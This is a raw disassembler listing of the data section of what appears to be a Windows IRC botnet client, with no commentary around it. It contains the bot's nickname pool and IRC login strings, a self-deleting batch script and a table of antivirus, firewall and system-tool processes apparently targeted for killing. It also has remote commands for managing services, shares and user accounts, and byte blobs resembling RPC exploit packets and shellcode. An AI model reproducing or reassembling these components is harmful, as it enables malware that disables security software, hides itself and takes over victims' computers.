aCem39 db 'cem39',0 ; DATA XREF: ___:00438A44o align 10h aCool30m db 'cool30m',0 ; DATA XREF: ___:00438A40o aTropikal db 'tropikal',0 ; DATA XREF: ___:00438A3Co align 4 aPassenger db 'passenger',0 ; DATA XREF: ___:00438A38o align 10h aNeHaber db 'NE-HABER',0 ; DATA XREF: ___:00438A34o align 4 aUla db 'ula',0 ; DATA XREF: ___:00438A30o aIzmirlm db 'izmirlm',0 ; DATA XREF: ___:00438A2Co aAkden db 'akden',0 ; DATA XREF: ___:00438A28o align 10h aKoray db 'KORAY',0 ; DATA XREF: ___:00438A24o align 4 aAta29 db 'Ata29',0 ; DATA XREF: ___:00438A20o align 10h aFirtina db 'firtina',0 ; DATA XREF: ___:00438A1Co aAdamm33 db 'AdAMM33',0 ; DATA XREF: ___:00438A18o aM41ist db 'M41IST',0 ; DATA XREF: ___:00438A14o align 4 aMaxsilla db 'maxsilla',0 ; DATA XREF: ___:00438A10o align 4 aAdem28 db 'Adem28',0 ; DATA XREF: ___:00438A0Co align 4 aAnkm db 'ankM',0 ; DATA XREF: ___:00438A08o align 4 aErkan db 'erkan',0 ; DATA XREF: ___:00438A04o align 4 aDevre db 'devre',0 ; DATA XREF: ___:00438A00o align 4 aYabanc db 'yabanc',0 ; DATA XREF: ___:004389FCo align 4 aBirsen db 'birsen',0 ; DATA XREF: ___:004389F8o align 4 aA44m db 'a44m',0 ; DATA XREF: ___:004389F4o align 4 aAlcatras db 'alcatras',0 ; DATA XREF: ___:004389F0o align 4 off_438E98 dd offset byte_4B5245 ; DATA XREF: ___:004389ECo aSevda db 'sevda',0 ; DATA XREF: ___:004389E8o align 4 aKotan db 'kotan',0 ; DATA XREF: ___:004389E4o align 4 aTegmen db 'TEGMEN',0 ; DATA XREF: ___:004389E0o align 4 aAchilles db 'Achilles',0 ; DATA XREF: ___:004389DCo align 10h aKapk db 'kapk',0 ; DATA XREF: ___:004389D8o align 4 aAngelgirl db 'angelgirl',0 ; DATA XREF: ___:004389D4o align 4 aHayran db 'hayran',0 ; DATA XREF: ___:004389D0o align 4 aFenerlee db 'FeNeRLee',0 ; DATA XREF: ___:004389CCo align 4 aAnkar db 'Ankar',0 ; DATA XREF: ___:004389C8o align 10h aDjspace db 'DJSPACE',0 ; DATA XREF: ___:004389C4o aAnk32M db 'ANK-32-M',0 ; DATA XREF: ___:004389C0o align 4 aUmut db 'umut-',0 ; DATA XREF: ___:004389BCo align 4 aAdalim db 'ADALIM',0 ; DATA XREF: ___:004389B8o align 4 aKumul db 'kumul',0 ; DATA XREF: ___:004389B4o align 4 aUzgun36 db 'uzgun36',0 ; DATA XREF: ___:004389B0o aSugarboy db 'SUGARBOY-',0 ; DATA XREF: ___:004389ACo align 10h aSeviseli db 'SeViSeLi',0 ; DATA XREF: ___:004389A8o align 4 aKashmira db 'Kashmira',0 ; DATA XREF: ___:004389A4o align 4 aAykut1 db 'aykut1',0 ; DATA XREF: ___:004389A0o align 10h aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: ___:0043899Co align 10h aMahinur db 'MAHINUR',0 ; DATA XREF: ___:00438998o aHoly db 'holy',0 ; DATA XREF: ___:00438994o align 10h aFlord db 'FLoRD',0 ; DATA XREF: ___:00438990o align 4 aKebikec db 'kebikec',0 ; DATA XREF: ___:0043898Co aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: ___:00438988o align 4 aElmaazyok db 'elmaazyok',0 ; DATA XREF: ___:00438984o align 4 aEmre db 'Emre--',0 ; DATA XREF: ___:00438980o align 10h aRamtha db 'RAMTHA',0 ; DATA XREF: ___:0043897Co align 4 aImirzali db 'IMIRZALI--',0 ; DATA XREF: ___:00438978o align 4 aHakan3 db 'hakan3',0 ; DATA XREF: ___:00438974o align 4 aMurat34M db 'murat34-m',0 ; DATA XREF: ___:00438970o align 4 aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: ___:0043896Co aArda db 'arda',0 ; DATA XREF: ___:00438968o align 4 aDevran db 'devran',0 ; DATA XREF: ___:00438964o align 4 aBerk19m db 'Berk19m',0 ; DATA XREF: ___:00438960o aDenizlim db 'DenizliM',0 ; DATA XREF: ___:0043895Co align 4 aCongueror db 'CoNGuERoR',0 ; DATA XREF: ___:00438958o align 4 aAlpay34m db 'alpay34m',0 ; DATA XREF: ___:00438954o align 10h aBogac db 'bogac',0 ; DATA XREF: ___:00438950o align 4 aDonjuanm db 'Donjuanm',0 ; DATA XREF: ___:0043894Co align 4 aAnkh db 'ankh',0 ; DATA XREF: ___:00438948o align 4 off_43902C dd offset byte_457441 ; DATA XREF: ___:00438944o dword_439030 dd 414C5941h, 2Dh ; DATA XREF: ___:00438940o aAlbina db 'albina',0 ; DATA XREF: ___:0043893Co align 10h aIzmir39m db 'Izmir39m',0 ; DATA XREF: ___:00438938o align 4 aZack db 'ZACK',0 ; DATA XREF: ___:00438934o align 4 aAnk32m db 'ank32m',0 ; DATA XREF: ___:00438930o align 4 aTurkyy db 'turkyy',0 ; DATA XREF: ___:0043892Co align 4 aAhmet db 'ahmet',0 ; DATA XREF: ___:00438928o align 4 aPelincik db 'pelincik',0 ; DATA XREF: ___:00438924o align 4 aBlackpearl db 'blackpearl',0 ; DATA XREF: ___:00438920o align 4 aRetg db 'RETG',0 ; DATA XREF: ___:0043891Co align 4 aSamyeli21 db 'samyeli21',0 ; DATA XREF: ___:00438918o align 4 aPiramit db 'PIRAMIT',0 ; DATA XREF: ___:00438914o aAslii db 'aslii',0 ; DATA XREF: ___:00438910o align 4 aErnesto db 'ERNESTO',0 ; DATA XREF: ___:0043890Co aHaticem db 'haticem',0 ; DATA XREF: ___:00438908o aArzu db 'ARZU',0 ; DATA XREF: ___:00438904o align 10h aSudenur db 'SUDENUR',0 ; DATA XREF: ___:00438900o aSevmekmi db 'sevmekmi',0 ; DATA XREF: ___:004388FCo align 4 aVenedik34 db 'venedik34',0 ; DATA XREF: ___:004388F8o align 10h aTekir db 'tekir',0 ; DATA XREF: ___:004388F4o align 4 aMERVE db 'M-E-R-V-E',0 ; DATA XREF: ___:004388F0o align 4 aTrend3 db 'trend3',0 ; DATA XREF: ___:004388ECo align 4 aMelekk db 'melekk',0 ; DATA XREF: ___:004388E8o align 4 aAkin db 'AKIN',0 ; DATA XREF: ___:004388E4o align 4 aMary_0 db 'MARY',0 ; DATA XREF: ___:004388E0o align 4 aJericho db 'JERICHO',0 ; DATA XREF: ___:004388DCo aTolga34 db 'Tolga34',0 ; DATA XREF: ___:004388D8o aMisssunday db 'misssunday',0 ; DATA XREF: ___:004388D4o align 10h aIrmal db 'irmal',0 ; DATA XREF: ___:004388D0o align 4 aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: ___:004388CCo align 4 aBerk19 db 'berk19',0 ; DATA XREF: ___:004388C8o align 10h aHexaaa db 'hexaaa',0 ; DATA XREF: ___:004388C4o align 4 aErkan27 db 'erkan27',0 ; DATA XREF: ___:004388C0o aKaan38dent db 'kaan38dent',0 ; DATA XREF: ___:004388BCo align 4 aCansuuuu db 'cansuuuu',0 ; DATA XREF: ___:004388B8o align 4 aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: ___:004388B4o align 4 aKencing db 'Kencing',0 ; DATA XREF: ___:004388B0o aReshma db 'reshma',0 ; DATA XREF: ___:004388ACo align 4 aCamel db 'CAMEL',0 ; DATA XREF: ___:004388A8o align 4 aGirl db 'GirL',0 ; DATA XREF: ___:004388A4o align 4 aImra db 'imra',0 ; DATA XREF: ___:004388A0o align 4 aCoredump db 'CoreDump',0 ; DATA XREF: ___:0043889Co align 4 aPuregold db 'puregold',0 ; DATA XREF: ___:00438898o align 4 aKermit db 'kermit',0 ; DATA XREF: ___:00438894o align 4 aManee db 'manee',0 ; DATA XREF: ___:00438890o align 4 aTroller db 'troller',0 ; DATA XREF: ___:0043888Co aLuisa db 'Luisa',0 ; DATA XREF: ___:00438888o align 4 aNastysha db 'nastysha',0 ; DATA XREF: ___:00438884o align 10h aRimpy db 'rimpy',0 ; DATA XREF: ___:00438880o align 4 aJanno db 'janno',0 ; DATA XREF: ___:0043887Co align 10h aBunty db 'bunty',0 ; DATA XREF: ___:00438878o align 4 aHeval db 'heval',0 ; DATA XREF: ___:00438874o align 10h aCme db 'cme',0 ; DATA XREF: ___:00438870o aMarcy db 'marcy',0 ; DATA XREF: ___:0043886Co align 4 aTalika db 'talika',0 ; DATA XREF: ___:00438868o align 4 aShez db 'Shez',0 ; DATA XREF: ___:00438864o align 4 aKen db 'ken',0 ; DATA XREF: ___:00438860o aFlexster db 'flexster',0 ; DATA XREF: ___:0043885Co align 4 aKoko db 'koko',0 ; DATA XREF: ___:00438858o align 4 aMale db 'male',0 ; DATA XREF: ___:00438854o align 4 aSwin db 'swin',0 ; DATA XREF: ___:00438850o align 4 aCar1nna db 'Car1nna',0 ; DATA XREF: ___:0043884Co aKrizha db 'KRIZHA',0 ; DATA XREF: ___:00438848o align 4 aEmilya db 'emilya',0 ; DATA XREF: ___:00438844o align 4 aBobmarley db 'BOBMARLEY',0 ; DATA XREF: ___:00438840o align 4 aMaxxguy db 'maxxguy',0 ; DATA XREF: ___:0043883Co aFarooq db 'farooq',0 ; DATA XREF: ___:00438838o align 4 aSmartmir db 'SMARTMIR',0 ; DATA XREF: ___:00438834o align 4 aM_0: ; DATA XREF: ___:00438830o ; ___:00438B7Co unicode 0, <M>,0 word_439298 dw 4Eh ; DATA XREF: sub_41A3C6+38r ; ___:0043882Co align 4 dword_43929C dd 42h ; DATA XREF: ___:00438828o dword_4392A0 dd 56h ; DATA XREF: ___:00438824o dword_4392A4 dd 43h ; DATA XREF: ___:00438820o dword_4392A8 dd 58h ; DATA XREF: ___:0043881Co ; ___:00438BB0o dword_4392AC dd 5Ah ; DATA XREF: ___:00438818o dword_4392B0 dd 4Ch ; DATA XREF: ___:00438814o dword_4392B4 dd 4Bh ; DATA XREF: ___:00438810o dword_4392B8 dd 4Ah ; DATA XREF: ___:0043880Co dword_4392BC dd 48h ; DATA XREF: ___:00438808o dword_4392C0 dd 47h ; DATA XREF: ___:00438804o dword_4392C4 dd 46h ; DATA XREF: ___:00438800o ; ___:00438B78o dword_4392C8 dd 44h ; DATA XREF: ___:004387FCo dword_4392CC dd 53h ; DATA XREF: ___:004387F8o dword_4392D0 dd 50h ; DATA XREF: ___:004387F0o dword_4392D4 dd 4Fh ; DATA XREF: ___:004387ECo dword_4392D8 dd 55h ; DATA XREF: ___:004387E4o word_4392DC dw 59h ; DATA XREF: sub_41A6EA+38r ; ___:004387E0o align 10h dword_4392E0 dd 54h ; DATA XREF: ___:004387DCo dword_4392E4 dd 52h ; DATA XREF: ___:004387D8o dword_4392E8 dd 45h ; DATA XREF: ___:004387D4o dword_4392EC dd 57h ; DATA XREF: ___:004387D0o dword_4392F0 dd 51h ; DATA XREF: ___:004387CCo dword_4392F4 dd 62h ; DATA XREF: ___:004387C0o ; ___:00438B8Co dword_4392F8 dd 78h ; DATA XREF: ___:00438B0Co dword_4392FC dd 7Ah ; DATA XREF: ___:00438B14o ; ___:00438B44o dword_439300 dd 6Ch, 68h ; DATA XREF: ___:004387ACo ; ___:00438AE0o dword_439308 dd 67h, 66h, 64h ; DATA XREF: ___:00438B48o dword_439314 dd 79h ; DATA XREF: ___:00438B10o dword_439318 dd 77h ; DATA XREF: ___:00438B08o dword_43931C dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_417B76+B1o dword_439328 dd 323334h ; DATA XREF: sub_417B76+79o dword_43932C dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_417B76+61o aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_417C61+9Bo db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 4 a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417E84+BCo ; sub_417E84+175r ... align 4 dword_439374 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_4182CD+A4o dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_4393C0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_4182CD+E3o ; --------------------------------------------------------------------------- loc_4393DC: ; DATA XREF: sub_4182CD+118o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_4393F0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_4182CD+13Fo aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418699+72o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_4187E0+1Co align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418884+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4188A6+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_4188A6+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_4188A6+48o align 4 unk_4394A4 db 2Dh ; - ; DATA XREF: sub_418A2E+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 4 unk_4394D4 db 2Dh ; - ; DATA XREF: sub_418A2E+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 4 dword_4394FC dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h ; DATA XREF: sub_418A2E+5Co dd 65726165h, 64h off_439518 dd offset aAdd ; DATA XREF: sub_418C0E+60r ; sub_418FE5+51r ... ; "Add" off_43951C dd offset aAdded ; DATA XREF: sub_418C0E+2Dr ; sub_418FE5+83r ... ; "Added" dword_439520 dd 0 ; DATA XREF: sub_418C0E+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 10h dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 8 dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 43958Ch, 439584h, 2, 439578h, 43956Ch, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: ___:0043954Co aStop_0 db 'Stop',0 ; DATA XREF: ___:00439548o align 4 aStarted db 'Started',0 ; DATA XREF: ___:00439540o aStart_0 db 'Start',0 ; DATA XREF: ___:0043953Co align 4 aListed db 'Listed',0 ; DATA XREF: ___:00439534o align 4 aList_1 db 'List',0 ; DATA XREF: ___:00439530o align 4 aDeleted db 'Deleted',0 ; DATA XREF: ___:00439528o aDelete_0 db 'Delete',0 ; DATA XREF: ___:00439524o align 4 aAdded db 'Added',0 ; DATA XREF: ___:off_43951Co align 4 aAdd db 'Add',0 ; DATA XREF: ___:off_439518o unk_4395E0 db 2Dh ; - ; DATA XREF: sub_418C0E+67o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 unk_439604 db 2Dh ; - ; DATA XREF: sub_418C0E+51o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 10h unk_439630 db 2Dh ; - ; DATA XREF: sub_418C0E+33o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418D2A+12Co align 10h aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_418D2A:loc_418E42o align 10h aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_418D2A:loc_418E3Bo align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_418D2A:loc_418E34o db 'the state of the service.',0 align 10h aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_418D2A:loc_418E2Do align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_418D2A:loc_418E26o db ' correct access rights.',0 align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_418D2A:loc_418E1Fo align 10h aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_418D2A:loc_418E18o align 10h aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_418D2A:loc_418E11o align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_418D2A:loc_418E0Ao db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_418D2A:loc_418E03o align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_418D2A:loc_418DD8o align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_418D2A:loc_418DD1o db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_418D2A:loc_418DCAo db 'tServiceCtrlDispatcher.',0 align 10h aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_418D2A:loc_418DC3o align 10h aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_418D2A+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_418D2A:loc_418D98o db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_418D2A:loc_418D8Eo aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_418D2A:loc_418D84o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_418D2A:loc_418D7Ao align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_418D2A:loc_418D70o align 10h aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_418D2A+3Co align 4 aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_418EA8+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_418EA8:loc_418F74o aStarting db ' Starting',0 ; DATA XREF: sub_418EA8:loc_418F6Do aStoping db ' Stoping',0 ; DATA XREF: sub_418EA8:loc_418F66o aRunning db ' Running',0 ; DATA XREF: sub_418EA8:loc_418F5Fo aContinuing db ' Continuing',0 ; DATA XREF: sub_418EA8:loc_418F58o aPausing db ' Pausing',0 ; DATA XREF: sub_418EA8:loc_418F51o aPaused_0 db ' Paused',0 ; DATA XREF: sub_418EA8:loc_418F4Ao aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_418EA8+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_418EA8+25o align 4 unk_439B84 db 2Dh ; - ; DATA XREF: sub_418FE5+ACo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 4 dword_439BA8 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h ; DATA XREF: sub_418FE5+8Ao dd 73252720h, 27h unk_439BC4 db 2Dh ; - ; DATA XREF: sub_418FE5+58o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 10h a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4191DB+D0o align 4 aNo db 'No',0 ; DATA XREF: sub_4191DB+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_4191DB+B5o unk_439C10 db 2Dh ; - ; DATA XREF: sub_4191DB+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_4191DB+26o align 10h unk_439C70 db 2Dh ; - ; DATA XREF: sub_4192FC+B7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 4 unk_439C98 db 2Dh ; - ; DATA XREF: sub_4192FC+95o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 4 unk_439CC8 db 2Dh ; - ; DATA XREF: sub_4192FC+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 4 unk_439CE8 db 2Dh ; - ; DATA XREF: sub_419443+3AFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_419443+385o align 10h aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_419443+35Ao align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419443+32Fo aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_419443+304o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_419443+2D9o align 10h aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_419443+2AEo align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_419443+283o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_419443+258o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_419443+22Do align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_419443+202o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_419443+1D7o align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_419443+1ACo align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_419443+181o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_419443+156o align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_419443+12Bo aGuest db 'Guest',0 ; DATA XREF: sub_419443:loc_419562o align 4 aUser_0 db 'User',0 ; DATA XREF: sub_419443:loc_41955Bo align 10h aAdministrator db 'Administrator',0 ; DATA XREF: sub_419443:loc_419554o align 10h aCommentS db 'Comment: %S',0 ; DATA XREF: sub_419443+DAo aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_419443+AFo align 10h aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_419443+84o align 10h aAccountS db 'Account: %S',0 ; DATA XREF: sub_419443+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_41982C+14Fo align 4 unk_439EA4 db 2Dh ; - ; DATA XREF: sub_41982C+F7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 10h aS_4 db ' %S',0 ; DATA XREF: sub_41982C+BEo align 4 unk_439ED8 db 2Dh ; - ; DATA XREF: sub_41982C+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_41982C+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_4199AC:loc_419AC9o align 10h aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_4199AC:loc_419AC2o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_4199AC:loc_419ABBo align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419AB4o align 4 aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_4199AC:loc_419AADo align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_4199AC:loc_419A90o db 'ord policy requirement.)',0 align 10h aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_4199AC:loc_419A89o align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_4199AC:loc_419A82o align 10h aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_4199AC+CFo db ' the domain.',0 align 10h aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_4199AC:loc_419A57o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A50o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_4199AC:loc_419A49o aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4199AC:loc_419A3Fo align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_4199AC+89o align 10h aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A19o align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_4199AC:loc_419A0Fo align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_4199AC:loc_419A05o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_4199AC:loc_4199FBo align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_4199AC:loc_4199F1o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_4199AC+3Bo align 10h dword_43A1E0 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h ; DATA XREF: sub_419AE0+ABo dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h dd 5325h unk_43A20C db 2Dh ; - ; DATA XREF: sub_419AE0+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 4 dd 7530h off_43A238 dd offset aRegedit_exe ; DATA XREF: sub_419C09+CBo ; "regedit.exe" dd offset aMsconfig_exe ; "msconfig.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aMsblast_exe ; "msblast.exe" dd offset aZapro_exe ; "zapro.exe" dd offset aNavw32_exe ; "navw32.exe" dd offset aNavapw32_exe ; "navapw32.exe" dd offset aZonealarm_exe ; "zonealarm.exe" dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset dword_43A340 dd offset dword_43A334 dd offset dword_43A328 dd offset dword_43A31C dd offset dword_43A310 dd offset dword_43A304 dd offset dword_43A2F4 dd offset dword_43A2E8 dd offset dword_43A2DC dd offset dword_43A2D0 dd offset dword_43A2C4 dd offset dword_43A2B4 dd offset dword_43A2A8 dd offset dword_43A298 dword_43A298 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_419C09+ECo ; ___:0043A294o dword_43A2A8 dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:0043A290o dword_43A2B4 dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: ___:0043A28Co dword_43A2C4 dd 65746172h, 6578652Eh, 0 ; DATA XREF: ___:0043A288o dword_43A2D0 dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043A284o dword_43A2DC dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:0043A280o dword_43A2E8 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:0043A27Co dword_43A2F4 dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: ___:0043A278o dword_43A304 dd 61656262h, 2E656C67h, 657865h ; DATA XREF: ___:0043A274o dword_43A310 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: ___:0043A270o dword_43A31C dd 6B656574h, 2E736469h, 657865h ; DATA XREF: ___:0043A26Co dword_43A328 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: ___:0043A268o dword_43A334 dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: ___:0043A264o dword_43A340 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: ___:0043A260o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:0043A25Co align 10h aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:0043A258o aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: ___:0043A254o align 4 aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: ___:0043A250o align 4 aNavw32_exe db 'navw32.exe',0 ; DATA XREF: ___:0043A24Co align 4 aZapro_exe db 'zapro.exe',0 ; DATA XREF: ___:0043A248o align 10h aMsblast_exe db 'msblast.exe',0 ; DATA XREF: ___:0043A244o aNetstat_exe db 'netstat.exe',0 ; DATA XREF: ___:0043A240o aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: ___:0043A23Co align 4 aRegedit_exe db 'regedit.exe',0 ; DATA XREF: ___:off_43A238o aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_419C09+191o align 10h unk_43A3F0 db 2Dh ; - ; DATA XREF: sub_419E38:loc_419EBFo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 4 unk_43A414 db 2Dh ; - ; DATA XREF: sub_419E38+80o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 4 unk_43A438 db 2Dh ; - ; DATA XREF: sub_419E38+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 